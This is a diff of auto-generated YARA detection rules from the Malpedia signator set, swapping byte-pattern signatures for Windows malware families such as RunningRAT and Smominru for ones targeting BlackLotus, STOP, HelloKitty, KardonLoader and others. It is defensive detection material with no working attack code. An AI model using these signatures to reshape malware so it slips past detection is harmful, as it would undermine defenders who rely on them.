+		$sequence_12 = { 0f1006 8b85e8eeffff 0f1185b4efffff f30f7e4610 660fd685c4efffff c7461000000000 c746140f000000 }
+		$sequence_13 = { c746140f000000 c60600 8b5d1c 8d4d08 8b5508 8d7d08 8b4518 }
+		$sequence_14 = { cc 488bc8 e8???????? 48897de0 48c745e80f000000 c645d000 }
 
 	condition:
-		7 of them and filesize <1253376
+		7 of them and filesize <1347904
 }
-rule MALPEDIA_Win_Runningrat_Auto : FILE
+rule MALPEDIA_Win_Roopirs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dfc93b52-63e2-55d7-a28a-ac61edd067cb"
+		id = "57676d4c-d0d7-5b4f-80a4-819b4d474425"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.runningrat_auto.yar#L1-L161"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roopirs_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "93ccf5e13fdb9515ec5cdc43025f3b9796a39f81cb6409c0f2fa39eb59211d22"
+		logic_hash = "d4e144778ab9b98b475c3cbfeb400528a9373556893774f62bba1f2eb8f36265"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162755,37 +169865,32 @@ rule MALPEDIA_Win_Runningrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 56 ff15???????? 8b8c2418010000 }
-		$sequence_1 = { 8b4904 56 8b742410 56 8d542414 50 }
-		$sequence_2 = { 85c0 7404 50 ff5650 8b5660 }
-		$sequence_3 = { 8988100b0000 8d88740a0000 8988280b0000 33c9 c780180b000080cd0110 89901c0b0000 c780240b000098cd0110 }
-		$sequence_4 = { 894554 89542428 b910000000 33c0 8d7c2438 }
-		$sequence_5 = { 8d442440 c1e902 f3a5 8bca 50 83e103 }
-		$sequence_6 = { 5d 33c0 5b 81c4f8020000 c20400 8b35???????? 6800000100 }
-		$sequence_7 = { c7462400000000 83c610 6a00 56 ff15???????? 5e }
-		$sequence_8 = { 7cd9 8bf2 8b8e80000000 b8cdcccccc f7a684000000 c1ea04 }
-		$sequence_9 = { 83c404 395630 740d 8b542418 }
-		$sequence_10 = { 8d942410010000 52 6a00 6a00 }
-		$sequence_11 = { 8d842432020000 6a00 50 c684242c02000046 }
-		$sequence_12 = { 83ea01 898c3c90000000 75ed 8bd3 33ff 8d4900 }
-		$sequence_13 = { 8b742424 e9???????? 6803010000 8d442431 6a00 50 }
-		$sequence_14 = { 33c0 e8???????? 81c468040000 c3 3b0d???????? 7502 }
+		$sequence_0 = { c745fc47000000 8b4dd8 51 68???????? ff15???????? 8945c0 }
+		$sequence_1 = { 50 ff15???????? 898530ffffff eb0a c78530ffffff00000000 33c9 837da800 }
+		$sequence_2 = { ff15???????? 8d4db0 ff15???????? c745fc07000000 833d????????00 751c 68???????? }
+		$sequence_3 = { 8945b0 837db000 7d1d 6a20 68???????? 8b45dc 50 }
+		$sequence_4 = { 8d55d4 52 6a05 ff15???????? 83c418 8d45bc 50 }
+		$sequence_5 = { 8b02 8b4d80 51 ff5014 dbe2 89857cffffff }
+		$sequence_6 = { 8b4508 50 8b08 ff5104 8b5514 56 8d45bc }
+		$sequence_7 = { c78544ffffff00000000 8b45ac 89458c 8d4dcc 51 8b558c }
+		$sequence_8 = { 68???????? 68???????? ff15???????? c78548ffffffd4624000 eb0a }
+		$sequence_9 = { 8d4dc8 ff15???????? c745fc07000000 8b4dd8 51 68???????? }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Smominru_Auto : FILE
+rule MALPEDIA_Win_Mirrorkey_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f9ca05ba-f03e-5436-9d57-424a2dfc3ab2"
+		id = "e800f2ca-d12e-53d0-a0d8-c0a956e2c2e3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smominru_auto.yar#L1-L162"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mirrorkey_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "bda67966371ffe5669f600e524bbc69b988d40d47c3737672a3d574c8f6a0cdf"
+		logic_hash = "63df7495a525d1f228b934ad2c4fefa8fb21a89fd4e60713963ec70e2cb5c67e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162799,38 +169904,32 @@ rule MALPEDIA_Win_Smominru_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b474c 894610 8b4750 894614 8b4754 894618 }
-		$sequence_1 = { 0fb7c0 8d4dac 51 50 6a01 }
-		$sequence_2 = { 8bd8 eb06 3b4628 0f94c3 }
-		$sequence_3 = { 0f84694ac17b f6c140 0f856f4ac17b 8ad1 80e23f }
-		$sequence_4 = { 8bd8 eb06 47 ff4df0 }
-		$sequence_5 = { 8bd8 eb02 b301 8bc7 }
-		$sequence_6 = { 8bd8 eb06 ff45f0 4f }
-		$sequence_7 = { 8bd8 eb02 33db 837dfc00 }
-		$sequence_8 = { 6aff e8???????? 85c0 0f8c05e5c07b }
-		$sequence_9 = { ff15???????? 3d03010000 0f8447a0b17b 85c0 0f8c3fa0b17b }
-		$sequence_10 = { 8b37 8975e0 85f6 0f842bfebb7b 83feff 0f8422febb7b 8b5f14 }
-		$sequence_11 = { 8bd8 eb09 55 e8???????? 59 }
-		$sequence_12 = { 0f8c21f7b07b 0fbe75f4 6bf630 e8???????? 8b402c 648b0d18000000 56 }
-		$sequence_13 = { 0f8c79feab7b 8d45c4 50 e8???????? 8b45f0 }
-		$sequence_14 = { 8bd8 e9???????? 8d4df8 8bd7 8bc6 e8???????? 8d4df4 }
-		$sequence_15 = { 8bd8 eb0a 8d45f0 e8???????? }
+		$sequence_0 = { 0f57c0 0f1145d8 ff15???????? c70016000000 ff15???????? 8d45d4 50 }
+		$sequence_1 = { 895914 0fb77806 85ff 7414 8d4b10 8b4104 0301 }
+		$sequence_2 = { ff15???????? 83c40c c744241000000000 33c0 c644242c00 8944242d 8d742433 }
+		$sequence_3 = { 8bf9 8b7508 8d45a4 50 }
+		$sequence_4 = { 83c004 8b7dfc 83ff01 7f87 5f }
+		$sequence_5 = { 730b 68???????? ff15???????? 894610 837e1410 }
+		$sequence_6 = { 897508 2bda ebaa 8d5aff 83c704 eba2 }
+		$sequence_7 = { 8d4dd8 50 e8???????? 8d4d8c e8???????? 837de808 7d15 }
+		$sequence_8 = { 6a00 51 89542414 ff15???????? 83c408 83f8ff }
+		$sequence_9 = { 53 8b5d0c 894dfc 8b4d08 56 }
 
 	condition:
-		7 of them and filesize <8167424
+		7 of them and filesize <117760
 }
-rule MALPEDIA_Win_Helauto_Auto : FILE
+rule MALPEDIA_Win_Blacklotus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8190d0b6-60e2-55b8-bbd3-4f8143a5c37c"
+		id = "84ef9a0b-6544-5450-8b66-292ec2ba5dbd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.helauto_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blacklotus_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "4d9d81740e3a201d5c095a9d2008fa9ef0381381c707cf34a732c2ace99e1c38"
+		logic_hash = "94ccc2d7ff61cb6463b78893aadb2549c584433629bcbab33ca8298790f40cde"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162844,32 +169943,32 @@ rule MALPEDIA_Win_Helauto_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b45d4 83c40c 898568ffffff 8b45d0 }
-		$sequence_1 = { ff75ec ffd6 6830750000 eb48 }
-		$sequence_2 = { 69c060ea0000 83c430 3d60ea0000 a3???????? }
-		$sequence_3 = { 85c0 0f841f010000 8b3d???????? 6a05 8d85a8f3ffff 68???????? }
-		$sequence_4 = { 59 50 8d8574ffffff 50 53 53 ff75fc }
-		$sequence_5 = { 85c0 7508 53 ff15???????? 59 33c0 }
-		$sequence_6 = { 50 ff15???????? 83c40c 85c0 0f8593000000 50 }
-		$sequence_7 = { 68???????? 50 ff15???????? 83c40c 85c0 0f8593000000 }
-		$sequence_8 = { 8d4608 50 68???????? 53 e8???????? 83c418 83feff }
-		$sequence_9 = { 51 8d4df0 e8???????? 8365fc00 8d4df0 }
+		$sequence_0 = { 443bca 7319 69c03f000100 4883c102 4103c0 41ffc1 440fb701 }
+		$sequence_1 = { c745cfc1afbd03 c745d301138a6b c745d73a911141 c745db4f67dcea c745df97f2cfce }
+		$sequence_2 = { 448bc6 488d155b1d0000 488bcb e8???????? 488bf0 }
+		$sequence_3 = { 770b 418b4908 03ca 413bcb 770e 6641ffc2 4983c128 }
+		$sequence_4 = { 42883c10 4183fb3c 0f8c45ffffff 498d8af0000000 41b810000000 498bd6 }
+		$sequence_5 = { 488d1588f7ffff e8???????? 488b05???????? 488bcb ff5020 488b5c2430 488b742438 }
+		$sequence_6 = { 4632440c30 eb1b 418af1 83f804 }
+		$sequence_7 = { 4889442428 4c8bc5 488bd3 48897c2420 }
+		$sequence_8 = { 740b 4883c602 483bf7 72bd eb0c bb03000000 eb05 }
+		$sequence_9 = { 48897010 48897818 4c897020 55 488d68c8 4881ec30010000 4c8bd1 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <181248
 }
-rule MALPEDIA_Win_Lowzero_Auto : FILE
+rule MALPEDIA_Win_Stop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ad1f4f71-db5d-51c4-9bc5-e40c45051891"
+		id = "fe824146-93e4-5101-ac02-1276fa1eda55"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lowzero_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stop_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "bfaa131f289b03263fe3207c7e09eedb0c528831bcdb16b693a70fc486a7a935"
+		logic_hash = "d919a89d4ce45439e081288fd345725318b761c87669a03e35d3c6db03d1320c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162883,32 +169982,32 @@ rule MALPEDIA_Win_Lowzero_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb617 47 83fa20 0f83e2000000 42 8d0432 3bc1 }
-		$sequence_1 = { 57 8b423c 8b55f4 03c6 }
-		$sequence_2 = { 2bce 894df0 8d9b00000000 8d1c31 ff7734 85c0 }
-		$sequence_3 = { 7439 03c3 837f1400 7425 }
-		$sequence_4 = { 47 2bc8 8d4602 03c3 3b450c }
-		$sequence_5 = { 8b4d0c 3b7dfc 0f8255feffff 2b7508 5f 8bc6 5e }
-		$sequence_6 = { 8bce 83e21f c1eb05 c1e208 2bca 49 83fb07 }
-		$sequence_7 = { 83ec30 53 56 8bd9 8955f4 33f6 895dfc }
-		$sequence_8 = { 46 47 e9???????? 8bda 8bce 83e21f }
-		$sequence_9 = { e8???????? 5f 5e 5b c70007000000 33c0 8be5 }
+		$sequence_0 = { 6a00 8d45e0 50 ffd6 85c0 75e2 6a64 }
+		$sequence_1 = { ffd0 5d c3 8b0d???????? 33d2 85c9 }
+		$sequence_2 = { 57 6a00 8bd9 6a00 6a12 ff33 }
+		$sequence_3 = { 56 57 6a00 8bd9 6a00 6a12 }
+		$sequence_4 = { ff750c ff7508 ffd0 5d c3 8b0d???????? }
+		$sequence_5 = { ff15???????? 50 e8???????? c745fc00000000 }
+		$sequence_6 = { 75e2 6a64 ff15???????? ffd3 }
+		$sequence_7 = { 68???????? 6a00 6a00 ff15???????? 33c9 894604 85c0 }
+		$sequence_8 = { 6a00 ff15???????? 33c9 894604 }
+		$sequence_9 = { 6a00 ff15???????? 33c9 894604 85c0 5e 0f95c1 }
 
 	condition:
-		7 of them and filesize <433152
+		7 of them and filesize <6029312
 }
-rule MALPEDIA_Win_Goggles_Auto : FILE
+rule MALPEDIA_Win_Hellokitty_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5a06c6e9-c0df-5eb2-9be8-0912ecacc960"
+		id = "deb7a825-f579-50f4-a7a3-d6eebbf360da"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.goggles_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hellokitty_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "6adf86a94e27e4da9bbef6eb899bde95be7c68b8b1a213561e769f61dd93d169"
+		logic_hash = "aa8f4a4903065b9814083d80e7b1fe6c3f259f31453cf2a2b84676c3d1765b58"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162922,34 +170021,34 @@ rule MALPEDIA_Win_Goggles_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1fa02 83e23f 8a8a10400010 880c33 }
-		$sequence_1 = { 51 e8???????? 8b1d???????? b941000000 33c0 }
-		$sequence_2 = { 8d54247c 51 52 8d842488010000 68???????? 50 }
-		$sequence_3 = { 6a01 51 ff15???????? 8b742430 8b542431 }
-		$sequence_4 = { 53 ff15???????? 83c414 33c0 85ed }
-		$sequence_5 = { 51 ff15???????? 83c9ff bf???????? 33c0 83c414 }
-		$sequence_6 = { c744241002000000 8d8c2480020000 51 ff15???????? 8b442410 5f 5e }
-		$sequence_7 = { ffd5 8bf0 8bc7 99 f77c242c 81ee???????? 0fbe8288410010 }
-		$sequence_8 = { 2bd6 56 57 03ea ffd3 57 }
-		$sequence_9 = { a0???????? 55 57 88442410 }
+		$sequence_0 = { 8975fc 8d4e08 c706???????? e8???????? 6818010000 8d86d0030000 6a00 }
+		$sequence_1 = { 23df 234df0 8bc7 c1c802 0bd9 33d0 03de }
+		$sequence_2 = { 7509 0fb64702 3a4604 7411 83c32c 41 83c72c }
+		$sequence_3 = { 33d2 8b45ec 8bf1 0fa4c11e c1ee02 0bd1 c1e01e }
+		$sequence_4 = { 8b048520364200 56 8b7508 57 8b4c0818 8b4514 832600 }
+		$sequence_5 = { 33ca 8bd1 894dec 8988a8000000 33d3 }
+		$sequence_6 = { 8b759c 03c2 8bd1 8945f8 8bc1 c1c807 c1c20e }
+		$sequence_7 = { 8b45c0 3175c4 8bf0 0facc81c c1e604 0bd0 c1e91c }
+		$sequence_8 = { 8bf8 83c020 59 f3a5 8b7508 83ee20 89450c }
+		$sequence_9 = { c1ce02 8b45d0 03cf 3345ec 3345c4 3345f0 8b7df4 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <319488
 }
-rule MALPEDIA_Win_Simplefilemover_Auto : FILE
+rule MALPEDIA_Win_Final1Stspy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "21ae03b9-45c9-58fd-b17b-9f1c4dcf7bf7"
+		id = "7c2b072b-c27f-54e3-a7df-2dc853163db8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.simplefilemover_auto.yar#L1-L219"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.final1stspy_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "81c6919dbb4aaa2e054461ca67f688251b4ccec2baef13a001955aba375181dd"
+		logic_hash = "654817f55704ecafec1c10904f1a6a25212804a4fb3c152f1d4aecbab6ecef0c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -162961,44 +170060,32 @@ rule MALPEDIA_Win_Simplefilemover_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bfc f3a5 e8???????? 81c420020000 }
-		$sequence_1 = { 33c0 e9???????? 6820020000 ff15???????? }
-		$sequence_2 = { 81c420020000 85c0 7407 68???????? eb05 68???????? ff15???????? }
-		$sequence_3 = { b988000000 8bf3 8bfc f3a5 }
-		$sequence_4 = { 33ff 884c2408 3bf7 88542424 897c2410 }
-		$sequence_5 = { 7503 8bfa 46 668b4102 83c102 42 }
-		$sequence_6 = { 8b8d54faffff 51 ff15???????? 6a00 6800200000 8d9554daffff }
-		$sequence_7 = { 8b8554faffff 50 ff15???????? 85c0 }
-		$sequence_8 = { 8b74241c 57 8a8800010000 8a9001010000 33ff }
-		$sequence_9 = { ebc2 ebc0 ebbe ebbc ebba ebb8 }
-		$sequence_10 = { e8???????? 81c420020000 85c0 7410 68???????? ff15???????? }
-		$sequence_11 = { 8b4c2414 8d447b02 50 51 }
-		$sequence_12 = { 5f 889000010000 888801010000 5e 83c410 c3 }
-		$sequence_13 = { e9???????? 807d0867 0f848f020000 807d0870 0f8513040000 }
-		$sequence_14 = { 83bd08daffffff 7409 83bd08daffff00 750f c78508daffff00000000 e9???????? 6a04 }
-		$sequence_15 = { 47 897c2418 0fbfff 3bfb 0f8c54ffffff 8a4c242c }
-		$sequence_16 = { 6a64 ff15???????? ff4de0 395de0 7fd4 }
-		$sequence_17 = { 52 8d855cfaffff 50 8d8d60daffff 51 }
-		$sequence_18 = { 8d85b0ddffff 50 e8???????? 8d45dc 57 50 8b45f4 }
-		$sequence_19 = { 50 ff7610 6a00 6a00 ffd7 ff7508 8d4302 }
-		$sequence_20 = { 8b4c2408 8b742424 53 81e1ff000000 }
-		$sequence_21 = { 53 52 ff15???????? 83c408 5f 5e }
+		$sequence_0 = { 03d0 8b45fc 8a4803 c1e206 80f93d 7508 }
+		$sequence_1 = { 51 56 8d55fc c745fc00000000 e8???????? 8bf0 }
+		$sequence_2 = { 8a1d???????? 8b4dfc 83c104 894dfc }
+		$sequence_3 = { eb2e 85ff 7594 b8???????? 6690 3ad9 }
+		$sequence_4 = { 81e7ff070080 7908 4f 81cf00f8ffff }
+		$sequence_5 = { 0f114c0f10 83c120 3bca 7cd4 3bce }
+		$sequence_6 = { 84db 7410 8a11 8acb 3aca 7425 8a4801 }
+		$sequence_7 = { 81cf00f8ffff 47 33f6 85ff 7e0a }
+		$sequence_8 = { 8945fc 57 8d7e01 8a06 }
+		$sequence_9 = { 7410 8a11 8acb 3aca }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <557056
 }
-rule MALPEDIA_Win_Graphican_Auto : FILE
+rule MALPEDIA_Win_Kardonloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a2f03fc9-ee25-5fcd-896d-9bb49120884f"
+		id = "3f6a3bad-df12-536d-9e36-cfe1dc9fa562"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphican_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kardonloader_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "a4c9c330e82d4ca3a447533684cd37026bb60c45e700ff39380301b043754c33"
+		logic_hash = "4fe311b419f6bafe180c85c33e9d2d9d1da43b3315ab993943a70f218a823338"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163012,32 +170099,32 @@ rule MALPEDIA_Win_Graphican_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d5f07 83e3f8 03d3 3b10 7619 8b06 3bc3 }
-		$sequence_1 = { 3c65 7408 3c45 0f8570010000 47 807def00 897dc0 }
-		$sequence_2 = { 56 57 8bf1 8bfa 85db 7517 68a8010000 }
-		$sequence_3 = { 53 8bf0 6a00 56 e8???????? a1???????? }
-		$sequence_4 = { 8d0c89 8d4c48d0 8a07 42 3c30 7dd4 894de8 }
-		$sequence_5 = { 68???????? 68???????? e8???????? 83c40c 8b4ddc c7461810000000 894e1c }
-		$sequence_6 = { 8d85e8edffff 6a00 50 e8???????? 83c40c 68???????? }
-		$sequence_7 = { 68???????? 68???????? e8???????? 83c40c 8b5624 2b5620 }
-		$sequence_8 = { 8d8dc4efffff 51 50 ffd2 8bb5c4efffff 33ff }
-		$sequence_9 = { 8bd8 e8???????? 8d4311 83c404 }
+		$sequence_0 = { 83e13f c1e806 03c3 8a0490 88443702 8a0419 8b4d0c }
+		$sequence_1 = { 5e 8be5 5d c3 6a00 ff15???????? cc }
+		$sequence_2 = { e8???????? 83c438 85c0 7405 83c004 }
+		$sequence_3 = { 56 ff7508 68???????? e8???????? 85c0 0f8421010000 }
+		$sequence_4 = { 50 56 e8???????? 83c40c 894714 b001 5f }
+		$sequence_5 = { e8???????? 59 50 8d8550faffff 50 }
+		$sequence_6 = { 50 ff35???????? ff35???????? e8???????? 83c438 e9???????? 5f }
+		$sequence_7 = { 750b c74704???????? 0fb7720a 6a05 58 663bf0 750e }
+		$sequence_8 = { c0e204 8b45fc 880c30 0fb6441f02 8a8018314000 c0e802 }
+		$sequence_9 = { 50 8d85e4fdffff 50 8d85e8feffff 68???????? 50 }
 
 	condition:
-		7 of them and filesize <362496
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Unidentified_023_Auto : FILE
+rule MALPEDIA_Win_Kuluoz_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f77c5286-0b1f-561f-8f58-a27a0408436a"
+		id = "5fb3985a-aeab-550e-a023-7a6297ba36e6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_023_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kuluoz_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "1eec10f2afa6bd7e6a1d69558f2f25a771bedb385bd839fc0b4d5b578eec4086"
+		logic_hash = "50bc1e4e578c80bb3ef2f204a6ac7dc8f957cf6ffcd8541a192712c749d0e03e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163051,34 +170138,34 @@ rule MALPEDIA_Win_Unidentified_023_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? ff15???????? 3bf4 e8???????? b801000000 52 }
-		$sequence_1 = { 894df4 8a15???????? 8855f8 837d0c01 7514 8bf4 68???????? }
-		$sequence_2 = { 8855f8 837d0c01 7514 8bf4 }
-		$sequence_3 = { 8945f0 8b0d???????? 894df4 8a15???????? 8855f8 837d0c01 }
-		$sequence_4 = { 8855f8 837d0c01 7514 8bf4 68???????? }
-		$sequence_5 = { 68???????? ff15???????? 3bf4 e8???????? b801000000 52 8bcd }
-		$sequence_6 = { 0909 0909 0407 0807 8d4900 4f }
-		$sequence_7 = { 8a15???????? 8855f8 837d0c01 7514 8bf4 }
-		$sequence_8 = { 8945f0 8b0d???????? 894df4 8a15???????? 8855f8 837d0c01 7514 }
-		$sequence_9 = { 7514 8bf4 68???????? ff15???????? 3bf4 e8???????? b801000000 }
+		$sequence_0 = { 6a00 6a00 8b45cc 50 ff55ec 8945c8 837dc800 }
+		$sequence_1 = { 52 8b45fc 8b4840 51 e8???????? 83c40c 8b55fc }
+		$sequence_2 = { 83c001 8b4d0c 898146120000 837dfc04 7552 }
+		$sequence_3 = { 8b4508 50 8d4dd8 51 e8???????? 8b10 }
+		$sequence_4 = { 338df4feffff 8985f0feffff 898df4feffff 68ff000000 8d95f8feffff 52 e8???????? }
+		$sequence_5 = { 7502 eb05 e9???????? 837dfc06 0f84a2000000 837dfc04 7552 }
+		$sequence_6 = { 83fa0a 7409 0fbe4508 83f80d 7504 b001 }
+		$sequence_7 = { 8b45fc 0fb60c02 51 e8???????? 0fbed0 3bf2 7404 }
+		$sequence_8 = { 8bec 81ec780a0000 a1???????? 33c5 8945fc }
+		$sequence_9 = { f7f1 0fbe9204605009 8b45f8 0345fc 0fbe08 }
 
 	condition:
-		7 of them and filesize <1433600
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Logtu_Auto : FILE
+rule MALPEDIA_Win_Cobra_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c67bd86c-2bf9-53d0-9e56-6b46a7295f73"
+		id = "962ae883-d522-5f88-b272-e61709553508"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.logtu_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cobra_auto.yar#L1-L488"
 		license_url = "N/A"
-		logic_hash = "a1a55d055cae44fc8e92b272f8aaf6bf080cbc3cc39bc731b57992d62cbc8c84"
+		logic_hash = "0f157bf0768b0eaaf80d53d6edd02f203144bcb1fce66a02d72ea93d53a8a5ec"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -163090,32 +170177,78 @@ rule MALPEDIA_Win_Logtu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf0 8d85a4fdffff 68???????? 50 ff15???????? }
-		$sequence_1 = { ff15???????? 8d8534ffffff 50 ff15???????? 6a01 }
-		$sequence_2 = { 50 6a64 6a00 ff15???????? 85c0 7509 8b45bc }
-		$sequence_3 = { 8bec 81ec98050000 a1???????? 33c5 8945fc 53 }
-		$sequence_4 = { 55 8bec 81ec98050000 a1???????? 33c5 8945fc 53 }
-		$sequence_5 = { 8d8574faffff 50 8d8534ffffff 50 }
-		$sequence_6 = { 50 8d85fcf7ffff 68???????? 50 e8???????? 8d85fcf7ffff 6800040000 }
-		$sequence_7 = { 6a01 8bf0 8d85a4fdffff 68???????? }
-		$sequence_8 = { 8d8584faffff 50 8d8574faffff 50 8d8534ffffff }
-		$sequence_9 = { 8d8578faffff 50 8d8584faffff 50 }
+		$sequence_0 = { 7511 e8???????? 85c0 7508 ff15???????? }
+		$sequence_1 = { ff25???????? 53 56 57 8bd9 33f6 }
+		$sequence_2 = { 7514 391d???????? 754d 33c0 }
+		$sequence_3 = { 85c0 0f8e8c000000 83e801 8905???????? }
+		$sequence_4 = { 751c 8bcf ff15???????? 8d8fe8030000 8bf9 }
+		$sequence_5 = { 757f 8b05???????? 85c0 0f8e8c000000 }
+		$sequence_6 = { 5b c3 85db 7405 83fb03 }
+		$sequence_7 = { 85c0 750e 3905???????? 7e2c ff0d???????? 83f801 8b0d???????? }
+		$sequence_8 = { e8???????? 85c0 750e 33ff 8bc7 }
+		$sequence_9 = { 5f 5e 5b c3 85ff 7418 }
